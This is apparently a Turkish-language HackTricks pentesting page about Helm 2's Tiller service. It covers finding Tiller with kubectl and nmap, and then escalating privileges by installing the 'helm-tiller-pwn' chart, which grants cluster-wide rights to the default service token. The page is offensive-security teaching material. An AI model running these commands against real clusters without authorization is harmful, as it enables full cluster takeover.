mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
58 lines
3.2 KiB
Markdown
58 lines
3.2 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
# Temel Bilgiler
|
||
|
||
Helm, Kubernetes için **paket yöneticisi**dir. YAML dosyalarını paketlemeye ve bunları kamu ve özel depolarda dağıtmaya olanak tanır. Bu paketlere **Helm Charts** denir. **Tiller**, varsayılan olarak 44134 numaralı portta çalışan **hizmet**tir.
|
||
|
||
**Varsayılan port:** 44134
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
44134/tcp open unknown
|
||
```
|
||
# Enumeration
|
||
|
||
Eğer farklı ad alanlarının **podlarını ve/veya hizmetlerini sıralayabiliyorsanız**, bunları sıralayın ve **adlarında "tiller"** geçenleri arayın:
|
||
```bash
|
||
kubectl get pods | grep -i "tiller"
|
||
kubectl get services | grep -i "tiller"
|
||
kubectl get pods -n kube-system | grep -i "tiller"
|
||
kubectl get services -n kube-system | grep -i "tiller"
|
||
kubectl get pods -n <namespace> | grep -i "tiller"
|
||
kubectl get services -n <namespace> | grep -i "tiller"
|
||
```
|
||
Örnekler:
|
||
```bash
|
||
kubectl get pods -n kube-system
|
||
NAME READY STATUS RESTARTS AGE
|
||
kube-scheduler-controlplane 1/1 Running 0 35m
|
||
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
||
|
||
kubectl get services -n kube-system
|
||
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||
```
|
||
Bu servisin çalıştığını bulmayı 44134 numaralı portu kontrol ederek de deneyebilirsiniz:
|
||
```bash
|
||
sudo nmap -sS -p 44134 <IP>
|
||
```
|
||
Bunu keşfettikten sonra, istemci helm uygulamasını indirerek onunla iletişim kurabilirsiniz. `homebrew` gibi araçları kullanabilir veya [**resmi sürümler sayfasına**](https://github.com/helm/helm/releases)** bakabilirsiniz.** Daha fazla ayrıntı veya diğer seçenekler için [kurulum kılavuzuna](https://v2.helm.sh/docs/using_helm/#installing-helm) bakın.
|
||
|
||
Ardından, **hizmeti numaralandırabilirsiniz**:
|
||
```
|
||
helm --host tiller-deploy.kube-system:44134 version
|
||
```
|
||
## Yetki Yükseltme
|
||
|
||
Varsayılan olarak **Helm2**, **kube-system** **ad alanında** **yüksek yetkilerle** kuruldu, bu nedenle hizmeti bulup ona erişiminiz varsa, bu size **yetki yükseltme** imkanı verebilir.
|
||
|
||
Tek yapmanız gereken, **tüm kümedeki her şeye varsayılan hizmet token erişimi** verecek olan şu paketi kurmaktır: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn)
|
||
```
|
||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||
/pwnchart
|
||
```
|
||
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) adresinde **saldırının açıklamasını** bulabilirsiniz, ancak temelde, _helm-tiller-pwn/pwnchart/templates/_ içindeki [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) ve [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dosyalarını okursanız, **tüm ayrıcalıkların varsayılan token'a nasıl verildiğini** görebilirsiniz.
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|